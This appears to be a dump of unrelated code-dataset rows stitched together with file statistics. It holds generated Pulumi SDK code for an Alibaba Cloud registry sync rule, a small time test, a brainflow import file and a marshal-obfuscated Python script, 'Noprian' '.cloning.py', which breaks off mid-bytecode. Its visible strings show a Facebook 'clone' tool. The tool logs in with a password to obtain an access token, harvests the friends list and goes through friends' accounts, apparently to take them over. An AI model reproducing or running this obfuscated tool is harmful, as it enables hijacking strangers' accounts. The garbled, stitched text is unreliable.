:param pulumi.Input[str] target_instance_id: ID of Container Registry Enterprise Edition target instance to be synchronized.
:param pulumi.Input[str] target_namespace_name: Name of Container Registry Enterprise Edition target namespace to be synchronized. It can contain 2 to 30 characters.
:param pulumi.Input[str] target_region_id: The target region to be synchronized.
:param pulumi.Input[str] target_repo_name: Name of the target repository.
"""
if instance_id is not None:
pulumi.set(__self__, "instance_id", instance_id)
if name is not None:
pulumi.set(__self__, "name", name)
if namespace_name is not None:
pulumi.set(__self__, "namespace_name", namespace_name)
if repo_name is not None:
pulumi.set(__self__, "repo_name", repo_name)
if rule_id is not None:
pulumi.set(__self__, "rule_id", rule_id)
if sync_direction is not None:
pulumi.set(__self__, "sync_direction", sync_direction)
if sync_scope is not None:
pulumi.set(__self__, "sync_scope", sync_scope)
if tag_filter is not None:
pulumi.set(__self__, "tag_filter", tag_filter)
if target_instance_id is not None:
pulumi.set(__self__, "target_instance_id", target_instance_id)
if target_namespace_name is not None:
pulumi.set(__self__, "target_namespace_name", target_namespace_name)
if target_region_id is not None:
pulumi.set(__self__, "target_region_id", target_region_id)
if target_repo_name is not None:
pulumi.set(__self__, "target_repo_name", target_repo_name)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> Optional[pulumi.Input[str]]:
"""
ID of Container Registry Enterprise Edition source instance.
"""
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_id", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Name of Container Registry Enterprise Edition sync rule.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="namespaceName")
def namespace_name(self) -> Optional[pulumi.Input[str]]:
"""
Name of Container Registry Enterprise Edition source namespace. It can contain 2 to 30 characters.
"""
return pulumi.get(self, "namespace_name")
@namespace_name.setter
def namespace_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "namespace_name", value)
@property
@pulumi.getter(name="repoName")
def repo_name(self) -> Optional[pulumi.Input[str]]:
"""
Name of the source repository which should be set together with `target_repo_name`, if empty means that the synchronization scope is the entire namespace level.
"""
return pulumi.get(self, "repo_name")
@repo_name.setter
def repo_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "repo_name", value)
@property
@pulumi.getter(name="ruleId")
def rule_id(self) -> Optional[pulumi.Input[str]]:
"""
The uuid of Container Registry Enterprise Edition sync rule.
"""
return pulumi.get(self, "rule_id")
@rule_id.setter
def rule_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "rule_id", value)
@property
@pulumi.getter(name="syncDirection")
def sync_direction(self) -> Optional[pulumi.Input[str]]:
"""
`FROM` or `TO`, the direction of synchronization. `FROM` means source instance, `TO` means target instance.
"""
return pulumi.get(self, "sync_direction")
@sync_direction.setter
def sync_direction(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "sync_direction", value)
@property
@pulumi.getter(name="syncScope")
def sync_scope(self) -> Optional[pulumi.Input[str]]:
"""
`REPO` or `NAMESPACE`,the scope that the synchronization rule applies.
"""
return pulumi.get(self, "sync_scope")
@sync_scope.setter
def sync_scope(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "sync_scope", value)
@property
@pulumi.getter(name="tagFilter")
def tag_filter(self) -> Optional[pulumi.Input[str]]:
"""
The regular expression used to filter image tags for synchronization in the source repository.
"""
return pulumi.get(self, "tag_filter")
@tag_filter.setter
def tag_filter(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "tag_filter", value)
@property
@pulumi.getter(name="targetInstanceId")
def target_instance_id(self) -> Optional[pulumi.Input[str]]:
"""
ID of Container Registry Enterprise Edition target instance to be synchronized.
"""
return pulumi.get(self, "target_instance_id")
@target_instance_id.setter
def target_instance_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "target_instance_id", value)
@property
@pulumi.getter(name="targetNamespaceName")
def target_namespace_name(self) -> Optional[pulumi.Input[str]]:
"""
Name of Container Registry Enterprise Edition target namespace to be synchronized. It can contain 2 to 30 characters.
"""
return pulumi.get(self, "target_namespace_name")
@target_namespace_name.setter
def target_namespace_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "target_namespace_name", value)
@property
@pulumi.getter(name="targetRegionId")
def target_region_id(self) -> Optional[pulumi.Input[str]]:
"""
The target region to be synchronized.
"""
return pulumi.get(self, "target_region_id")
@target_region_id.setter
def target_region_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "target_region_id", value)
@property
@pulumi.getter(name="targetRepoName")
def target_repo_name(self) -> Optional[pulumi.Input[str]]:
"""
Name of the target repository.
"""
return pulumi.get(self, "target_repo_name")
@target_repo_name.setter
def target_repo_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "target_repo_name", value)
class RegistryEnterpriseSyncRule(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
instance_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
namespace_name: Optional[pulumi.Input[str]] = None,
repo_name: Optional[pulumi.Input[str]] = None,
tag_filter: Optional[pulumi.Input[str]] = None,
target_instance_id: Optional[pulumi.Input[str]] = None,
target_namespace_name: Optional[pulumi.Input[str]] = None,
target_region_id: Optional[pulumi.Input[str]] = None,
target_repo_name: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
This resource will help you to manager Container Registry Enterprise Edition sync rules.
For information about Container Registry Enterprise Edition sync rules and how to use it, see [Create a Sync Rule](https://www.alibabacloud.com/help/doc-detail/145280.htm)
> **NOTE:** Available in v1.90.0+.
> **NOTE:** You need to set your registry password in Container Registry Enterprise Edition console before use this resource.
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
default = alicloud.cs.RegistryEnterpriseSyncRule("default",
instance_id="my-source-instance-id",
namespace_name="my-source-namespace",
repo_name="my-source-repo",
tag_filter=".*",
target_instance_id="my-target-instance-id",
target_namespace_name="my-target-namespace",
target_region_id="cn-hangzhou",
target_repo_name="my-target-repo")
```
## Import
Container Registry Enterprise Edition sync rule can be imported using the id. Format to `{instance_id}:{namespace_name}:{rule_id}`, e.g.
```sh
$ pulumi import alicloud:cs/registryEnterpriseSyncRule:RegistryEnterpriseSyncRule default `cri-xxx:my-namespace:crsr-yyy`
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] instance_id: ID of Container Registry Enterprise Edition source instance.
:param pulumi.Input[str] name: Name of Container Registry Enterprise Edition sync rule.
:param pulumi.Input[str] namespace_name: Name of Container Registry Enterprise Edition source namespace. It can contain 2 to 30 characters.
:param pulumi.Input[str] repo_name: Name of the source repository which should be set together with `target_repo_name`, if empty means that the synchronization scope is the entire namespace level.
:param pulumi.Input[str] tag_filter: The regular expression used to filter image tags for synchronization in the source repository.
:param pulumi.Input[str] target_instance_id: ID of Container Registry Enterprise Edition target instance to be synchronized.
:param pulumi.Input[str] target_namespace_name: Name of Container Registry Enterprise Edition target namespace to be synchronized. It can contain 2 to 30 characters.
:param pulumi.Input[str] target_region_id: The target region to be synchronized.
:param pulumi.Input[str] target_repo_name: Name of the target repository.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: RegistryEnterpriseSyncRuleArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
This resource will help you to manager Container Registry Enterprise Edition sync rules.
For information about Container Registry Enterprise Edition sync rules and how to use it, see [Create a Sync Rule](https://www.alibabacloud.com/help/doc-detail/145280.htm)
> **NOTE:** Available in v1.90.0+.
> **NOTE:** You need to set your registry password in Container Registry Enterprise Edition console before use this resource.
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
default = alicloud.cs.RegistryEnterpriseSyncRule("default",
instance_id="my-source-instance-id",
namespace_name="my-source-namespace",
repo_name="my-source-repo",
tag_filter=".*",
target_instance_id="my-target-instance-id",
target_namespace_name="my-target-namespace",
target_region_id="cn-hangzhou",
target_repo_name="my-target-repo")
```
## Import
Container Registry Enterprise Edition sync rule can be imported using the id. Format to `{instance_id}:{namespace_name}:{rule_id}`, e.g.
```sh
$ pulumi import alicloud:cs/registryEnterpriseSyncRule:RegistryEnterpriseSyncRule default `cri-xxx:my-namespace:crsr-yyy`
```
:param str resource_name: The name of the resource.
:param RegistryEnterpriseSyncRuleArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(RegistryEnterpriseSyncRuleArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
instance_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
namespace_name: Optional[pulumi.Input[str]] = None,
repo_name: Optional[pulumi.Input[str]] = None,
tag_filter: Optional[pulumi.Input[str]] = None,
target_instance_id: Optional[pulumi.Input[str]] = None,
target_namespace_name: Optional[pulumi.Input[str]] = None,
target_region_id: Optional[pulumi.Input[str]] = None,
target_repo_name: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = RegistryEnterpriseSyncRuleArgs.__new__(RegistryEnterpriseSyncRuleArgs)
if instance_id is None and not opts.urn:
raise TypeError("Missing required property 'instance_id'")
__props__.__dict__["instance_id"] = instance_id
__props__.__dict__["name"] = name
if namespace_name is None and not opts.urn:
raise TypeError("Missing required property 'namespace_name'")
__props__.__dict__["namespace_name"] = namespace_name
__props__.__dict__["repo_name"] = repo_name
if tag_filter is None and not opts.urn:
raise TypeError("Missing required property 'tag_filter'")
__props__.__dict__["tag_filter"] = tag_filter
if target_instance_id is None and not opts.urn:
raise TypeError("Missing required property 'target_instance_id'")
__props__.__dict__["target_instance_id"] = target_instance_id
if target_namespace_name is None and not opts.urn:
raise TypeError("Missing required property 'target_namespace_name'")
__props__.__dict__["target_namespace_name"] = target_namespace_name
if target_region_id is None and not opts.urn:
raise TypeError("Missing required property 'target_region_id'")
__props__.__dict__["target_region_id"] = target_region_id
__props__.__dict__["target_repo_name"] = target_repo_name
__props__.__dict__["rule_id"] = None
__props__.__dict__["sync_direction"] = None
__props__.__dict__["sync_scope"] = None
super(RegistryEnterpriseSyncRule, __self__).__init__(
'alicloud:cs/registryEnterpriseSyncRule:RegistryEnterpriseSyncRule',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
instance_id: Optional[pulumi.Input[str]] = None,
name: Optional[pulumi.Input[str]] = None,
namespace_name: Optional[pulumi.Input[str]] = None,
repo_name: Optional[pulumi.Input[str]] = None,
rule_id: Optional[pulumi.Input[str]] = None,
sync_direction: Optional[pulumi.Input[str]] = None,
sync_scope: Optional[pulumi.Input[str]] = None,
tag_filter: Optional[pulumi.Input[str]] = None,
target_instance_id: Optional[pulumi.Input[str]] = None,
target_namespace_name: Optional[pulumi.Input[str]] = None,
target_region_id: Optional[pulumi.Input[str]] = None,
target_repo_name: Optional[pulumi.Input[str]] = None) -> 'RegistryEnterpriseSyncRule':
"""
Get an existing RegistryEnterpriseSyncRule resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] instance_id: ID of Container Registry Enterprise Edition source instance.
:param pulumi.Input[str] name: Name of Container Registry Enterprise Edition sync rule.
:param pulumi.Input[str] namespace_name: Name of Container Registry Enterprise Edition source namespace. It can contain 2 to 30 characters.
:param pulumi.Input[str] repo_name: Name of the source repository which should be set together with `target_repo_name`, if empty means that the synchronization scope is the entire namespace level.
:param pulumi.Input[str] rule_id: The uuid of Container Registry Enterprise Edition sync rule.
:param pulumi.Input[str] sync_direction: `FROM` or `TO`, the direction of synchronization. `FROM` means source instance, `TO` means target instance.
:param pulumi.Input[str] sync_scope: `REPO` or `NAMESPACE`,the scope that the synchronization rule applies.
:param pulumi.Input[str] tag_filter: The regular expression used to filter image tags for synchronization in the source repository.
:param pulumi.Input[str] target_instance_id: ID of Container Registry Enterprise Edition target instance to be synchronized.
:param pulumi.Input[str] target_namespace_name: Name of Container Registry Enterprise Edition target namespace to be synchronized. It can contain 2 to 30 characters.
:param pulumi.Input[str] target_region_id: The target region to be synchronized.
:param pulumi.Input[str] target_repo_name: Name of the target repository.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _RegistryEnterpriseSyncRuleState.__new__(_RegistryEnterpriseSyncRuleState)
__props__.__dict__["instance_id"] = instance_id
__props__.__dict__["name"] = name
__props__.__dict__["namespace_name"] = namespace_name
__props__.__dict__["repo_name"] = repo_name
__props__.__dict__["rule_id"] = rule_id
__props__.__dict__["sync_direction"] = sync_direction
__props__.__dict__["sync_scope"] = sync_scope
__props__.__dict__["tag_filter"] = tag_filter
__props__.__dict__["target_instance_id"] = target_instance_id
__props__.__dict__["target_namespace_name"] = target_namespace_name
__props__.__dict__["target_region_id"] = target_region_id
__props__.__dict__["target_repo_name"] = target_repo_name
return RegistryEnterpriseSyncRule(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> pulumi.Output[str]:
"""
ID of Container Registry Enterprise Edition source instance.
"""
return pulumi.get(self, "instance_id")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
"""
Name of Container Registry Enterprise Edition sync rule.
"""
return pulumi.get(self, "name")
@property
@pulumi.getter(name="namespaceName")
def namespace_name(self) -> pulumi.Output[str]:
"""
Name of Container Registry Enterprise Edition source namespace. It can contain 2 to 30 characters.
"""
return pulumi.get(self, "namespace_name")
@property
@pulumi.getter(name="repoName")
def repo_name(self) -> pulumi.Output[Optional[str]]:
"""
Name of the source repository which should be set together with `target_repo_name`, if empty means that the synchronization scope is the entire namespace level.
"""
return pulumi.get(self, "repo_name")
@property
@pulumi.getter(name="ruleId")
def rule_id(self) -> pulumi.Output[str]:
"""
The uuid of Container Registry Enterprise Edition sync rule.
"""
return pulumi.get(self, "rule_id")
@property
@pulumi.getter(name="syncDirection")
def sync_direction(self) -> pulumi.Output[str]:
"""
`FROM` or `TO`, the direction of synchronization. `FROM` means source instance, `TO` means target instance.
"""
return pulumi.get(self, "sync_direction")
@property
@pulumi.getter(name="syncScope")
def sync_scope(self) -> pulumi.Output[str]:
"""
`REPO` or `NAMESPACE`,the scope that the synchronization rule applies.
"""
return pulumi.get(self, "sync_scope")
@property
@pulumi.getter(name="tagFilter")
def tag_filter(self) -> pulumi.Output[str]:
"""
The regular expression used to filter image tags for synchronization in the source repository.
"""
return pulumi.get(self, "tag_filter")
@property
@pulumi.getter(name="targetInstanceId")
def target_instance_id(self) -> pulumi.Output[str]:
"""
ID of Container Registry Enterprise Edition target instance to be synchronized.
"""
return pulumi.get(self, "target_instance_id")
@property
@pulumi.getter(name="targetNamespaceName")
def target_namespace_name(self) -> pulumi.Output[str]:
"""
Name of Container Registry Enterprise Edition target namespace to be synchronized. It can contain 2 to 30 characters.
"""
return pulumi.get(self, "target_namespace_name")
@property
@pulumi.getter(name="targetRegionId")
def target_region_id(self) -> pulumi.Output[str]:
"""
The target region to be synchronized.
"""
return pulumi.get(self, "target_region_id")
@property
@pulumi.getter(name="targetRepoName")
def target_repo_name(self) -> pulumi.Output[Optional[str]]:
"""
Name of the target repository.
"""
return pulumi.get(self, "target_repo_name")
| 46.177941
| 204
| 0.666826
| 3,773
| 31,401
| 5.311423
| 0.058309
| 0.076297
| 0.095709
| 0.082335
| 0.893663
| 0.875399
| 0.862675
| 0.845808
| 0.833583
| 0.808483
| 0
| 0.00263
| 0.237063
| 31,401
| 679
| 205
| 46.24595
| 0.833869
| 0.356326
| 0
| 0.669333
| 1
| 0
| 0.117685
| 0.019345
| 0
| 0
| 0
| 0
| 0
| 1
| 0.162667
| false
| 0.002667
| 0.013333
| 0
| 0.274667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
685a80a4f643d99961e7cd002f29763a6dc63506
| 207
|
py
|
Python
|
test/lib/test_time.py
|
rohithill/medipack
|
bd145e0fb8bba14482df15cd18a595c9f719dbd1
|
[
"MIT"
] | null | null | null |
test/lib/test_time.py
|
rohithill/medipack
|
bd145e0fb8bba14482df15cd18a595c9f719dbd1
|
[
"MIT"
] | null | null | null |
test/lib/test_time.py
|
rohithill/medipack
|
bd145e0fb8bba14482df15cd18a595c9f719dbd1
|
[
"MIT"
] | null | null | null |
import pytest
from medipack.lib.time import Time
def test_get_time():
assert Time.get_time('0:5') == '00:00:05'
def test_relative_time():
assert Time.get_relative_time('0:5','0:15') == '00:00:10'
| 20.7
| 61
| 0.68599
| 37
| 207
| 3.648649
| 0.459459
| 0.103704
| 0.207407
| 0.251852
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.106742
| 0.140097
| 207
| 9
| 62
| 23
| 0.651685
| 0
| 0
| 0
| 0
| 0
| 0.125604
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d79f80ac99a04403e743a2824bc19d01462d8d7f
| 168
|
py
|
Python
|
python-package/brainflow/__init__.py
|
ddoyon92/brainflow
|
b0bfa7c2d717c0b30e8b7b2051093a6c28d1e23e
|
[
"MIT"
] | 528
|
2020-04-27T06:52:12.000Z
|
2022-03-31T03:22:38.000Z
|
python-package/brainflow/__init__.py
|
ddoyon92/brainflow
|
b0bfa7c2d717c0b30e8b7b2051093a6c28d1e23e
|
[
"MIT"
] | 229
|
2020-04-24T15:54:52.000Z
|
2022-03-21T17:52:49.000Z
|
python-package/brainflow/__init__.py
|
ddoyon92/brainflow
|
b0bfa7c2d717c0b30e8b7b2051093a6c28d1e23e
|
[
"MIT"
] | 120
|
2020-05-24T18:10:37.000Z
|
2022-03-17T19:50:52.000Z
|
from brainflow.board_shim import *
from brainflow.exit_codes import *
from brainflow.data_filter import *
from brainflow.ml_model import *
from brainflow.utils import *
| 33.6
| 35
| 0.827381
| 24
| 168
| 5.625
| 0.5
| 0.481481
| 0.562963
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.113095
| 168
| 5
| 36
| 33.6
| 0.90604
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
d7c8bd61b20f5adde018f49e4f15344de34236b6
| 10,680
|
py
|
Python
|
Noprian/Noprian-enc/.cloning.py
|
Ajijul123aa/Reverse-Engineering
|
fad3f3eccadc9ca71620e07a8f3318c00334bcaa
|
[
"Apache-2.0"
] | 337
|
2020-08-15T12:22:14.000Z
|
2022-03-29T06:05:15.000Z
|
Noprian/Noprian-enc/.cloning.py
|
Wh014M/Reverse-Engineering
|
f7aae2c43f7ea4a6730964d085c07814b6660a53
|
[
"Apache-2.0"
] | 3
|
2020-11-12T14:30:48.000Z
|
2021-05-18T16:56:22.000Z
|
Noprian/Noprian-enc/.cloning.py
|
Wh014M/Reverse-Engineering
|
f7aae2c43f7ea4a6730964d085c07814b6660a53
|
[
"Apache-2.0"
] | 83
|
2020-08-15T00:22:58.000Z
|
2022-03-31T08:40:23.000Z
|
#Compiled By BLackWhiteTeam
#Github : https://github.com/BLackWite0711/Noprian
import marshal
exec(marshal.loads('c\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00@\x00\x00\x00s\xc3\x01\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x00\x00d\x01\x00l\x03\x00Z\x03\x00d\x00\x00d\x01\x00l\x04\x00Z\x04\x00d\x00\x00d\x01\x00l\x05\x00Z\x05\x00d\x00\x00d\x01\x00l\x06\x00Z\x06\x00e\x07\x00e\x04\x00\x83\x01\x00\x01e\x04\x00j\x08\x00d\x02\x00\x83\x01\x00\x01e\x05\x00j\t\x00\x83\x00\x00Z\n\x00e\n\x00j\x0b\x00e\x0c\x00\x83\x01\x00\x01e\x02\x00j\r\x00d\x03\x00\x83\x01\x00\x01d\x00\x00d\x01\x00l\x0e\x00Z\x0e\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x00\x00d\x01\x00l\x0f\x00Z\x0f\x00e\x0e\x00j\x10\x00Z\x10\x00d\x00\x00d\x01\x00l\x11\x00Z\x11\x00d\x00\x00d\x01\x00l\x02\x00Z\x02\x00d\x04\x00\x84\x00\x00Z\x12\x00e\x12\x00d\x05\x00\x83\x01\x00\x01e\x12\x00d\x06\x00\x83\x01\x00\x01e\x12\x00d\x06\x00\x83\x01\x00\x01e\x12\x00d\x07\x00\x83\x01\x00\x01e\x13\x00d\x08\x00\x83\x01\x00Z\x14\x00e\x13\x00d\t\x00\x83\x01\x00Z\x15\x00d\n\x00e\x14\x00\x17d\x0b\x00\x17e\x15\x00\x17d\x0c\x00\x17Z\x16\x00e\x06\x00j\x17\x00e\x16\x00\x83\x01\x00Z\x18\x00e\x01\x00j\x19\x00e\x18\x00\x83\x01\x00Z\x1a\x00d\r\x00e\x1a\x00k\x06\x00rq\x01e\x1a\x00d\r\x00\x19Z\x1b\x00d\x0e\x00GHn\x0f\x00d\x0f\x00GHe\x04\x00j\x1c\x00\x83\x00\x00\x01e\x00\x00j\x1d\x00d\x10\x00e\x1b\x00\x17\x83\x01\x00Z\x1e\x00e\x01\x00j\x1f\x00e\x1e\x00j \x00\x83\x01\x00Z!\x00d\x11\x00GHd\x12\x00GHd\x13\x00\x84\x00\x00Z"\x00e"\x00\x83\x00\x00\x01d\x01\x00S(\x14\x00\x00\x00i\xff\xff\xff\xffNt\x04\x00\x00\x00utf8t\x05\x00\x00\x00clearc\x01\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\x84\x00\x00\x00i\x06\x00d\x01\x00d\x02\x006d\x03\x00d\x04\x006d\x05\x00d\x06\x006d\x07\x00d\x08\x006d\t\x00d\n\x006d\x0b\x00d\x0c\x006}\x01\x00x,\x00|\x01\x00D]$\x00}\x02\x00|\x00\x00j\x00\x00d\r\x00|\x02\x00\x16d\x0e\x00|\x01\x00|\x02\x00\x19\x16\x83\x02\x00}\x00\x00q7\x00W|\x00\x00d\x0f\x007}\x00\x00|\x00\x00j\x00\x00d\x10\x00d\x0f\x00\x83\x02\x00}\x00\x00|\x00\x00GHd\x00\x00S(\x11\x00\x00\x00Ni\x1f\x00\x00\x00t\x01\x00\x00\x00mi \x00\x00\x00t\x01\x00\x00\x00hi!\x00\x00\x00t\x01\x00\x00\x00ki"\x00\x00\x00t\x01\x00\x00\x00bi#\x00\x00\x00t\x01\x00\x00\x00pi$\x00\x00\x00t\x01\x00\x00\x00cs\x03\x00\x00\x00\r%ss\x07\x00\x00\x00\x1b[%s;1ms\x04\x00\x00\x00\x1b[0ms\x02\x00\x00\x00\r0(\x01\x00\x00\x00t\x07\x00\x00\x00replace(\x03\x00\x00\x00t\x01\x00\x00\x00xt\x01\x00\x00\x00wt\x01\x00\x00\x00i(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<debby>t\x06\x00\x00\x00tampil\x0e\x00\x00\x00s\x0c\x00\x00\x00\x00\x010\x01\r\x01"\x01\n\x01\x12\x01se\x02\x00\x00\rh\n ___ ___ _ _ \n | __| | _ ) | || | \rk*\rcAsecC|~|eror404\n | _| | _ \\ | __ | \n _|_|_ |___/ |_||_| \n \rp |"""""|| """ |\rmHaxID\rp|"""""||"""""| \n "`-0-0-\'"`-0-0-\'"`-0-0-\' \n \n\rmKita semua bangkit dan berdiri untuk suatu perubahan\n\rc####################################################\n \rh*\rpFB Clon Yahoo\rh*\n \t\t\n \rhAuthor :\x1b[36;1m AsecC\rm|~|\rheror404\n \rhTeam :\x1b[36;1m Hax\rhID\n \rhContact:\x1b[36;1m sempakbasah\rm044\rh@gmail.com\n \n\rc####################################################\n\rmNOTE:Sekali anda memahami, seribu kali anda mengertit\x00\x00\x00\x00s\x17\x00\x00\x00\rc#\rpLogin dulu bosq\rk*s2\x00\x00\x00\x1b[32;1m[\x1b[31m*\x1b[32;1m] \x1b[36;1mEmail/No ponsel : s(\x00\x00\x00\x1b[32;1m[\x1b[31m*\x1b[32;1m] \x1b[36;1mPassword: s\x91\x00\x00\x00https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=s\x17\x00\x00\x00&locale=en_US&password=sH\x00\x00\x00&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6t\x0c\x00\x00\x00access_tokens2\x00\x00\x00\x1b[32;1m[\x1b[31m+\x1b[36;1m] Mantap login sukses\x1b[32;1m*sH\x00\x00\x00\x1b[32;1m[\x1b[31m+\x1b[32;1m] \x1b[31mlogin gagal bosq silahkan coba lagi\x1b[32;1m*!s3\x00\x00\x00https://graph.facebook.com/me/friends?access_token=s<\x00\x00\x00\x1b[32;1m[\x1b[31m+\x1b[32;1m] Berhasil Mendapatkan ID Teman anda...s,\x00\x00\x00\x1b[32;1m[\x1b[31m+\x1b[32;1m] Hasil Cloning\x1b[31;1m*c\x00\x00\x00\x00\x11\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s4\x03\x00\x00g\x00\x00a\x00\x00d\x01\x00a\x01\x00d\x02\x00d\x03\x00d\x04\x00\x14\x17GHd\x05\x00d)\x00\x17d\x08\x00\x17d*\x00\x17d\n\x00\x17d+\x00\x17d\x0c\x00\x17d,\x00\x17d\n\x00\x17GHd\x03\x00d\x04\x00\x14GHx\xe6\x02t\x02\x00d\x0e\x00\x19D]\xda\x02}\x00\x00d\x0f\x00}\x01\x00d\x10\x00}\x02\x00t\x01\x00d\x11\x007a\x01\x00t\x00\x00j\x03\x00t\x01\x00\x83\x01\x00\x01t\x04\x00j\x05\x00d\x12\x00|\x00\x00d\x13\x00\x19\x17d\x14\x00\x17t\x06\x00\x17\x83\x01\x00}\x03\x00t\x07\x00j\x08\x00|\x03\x00j\t\x00\x83\x01\x00}\x04\x00yl\x02t\n\x00j\x0b\x00d\x15\x00\x83\x01\x00}\x05\x00|\x05\x00j\x0c\x00|\x04\x00d\x16\x00\x19\x83\x01\x00j\r\x00\x83\x00\x00}\x06\x00d\x17\x00|\x06\x00k\x06\x00rS\x02t\x0e\x00j\x0f\x00d\x18\x00\x83\x01\x00\x01t\x10\x00t\x0e\x00j\x11\x00_\x12\x00t\x0e\x00j\x13\x00d\x19\x00d\x01\x00\x83\x00\x01\x01|\x04\x00d\x16\x00\x19t\x0e\x00d\x1a\x00<t\x0e\x00j\x14\x00\x83\x00\x00j\x15\x00\x83\x00\x00}\x07\x00t\n\x00j\x0b\x00d\x1b\x00\x83\x01\x00}\x08\x00y\x19\x00|\x08\x00j\x0c\x00|\x07\x00\x83\x01\x00j\r\x00\x83\x00\x00}\t\x00Wnu\x00\x01\x01\x01d-\x00d\x1d\x00\x17}\n\x00d\x1e\x00t\x16\x00|\x04\x00d\x16\x00\x19\x83\x01\x00\x18}\x0b\x00|\x0b\x00d\x07\x00\x14}\x0c\x00d\x1f\x00t\x16\x00|\n\x00\x83\x01\x00\x18}\r\x00|\r\x00d\x07\x00\x14}\x0e\x00d\x05\x00|\x01\x00\x17|\x04\x00d\x16\x00\x19\x17|\x0c\x00\x17d\x05\x00\x17|\x02\x00\x17|\n\x00\x17|\x0e\x00\x17d 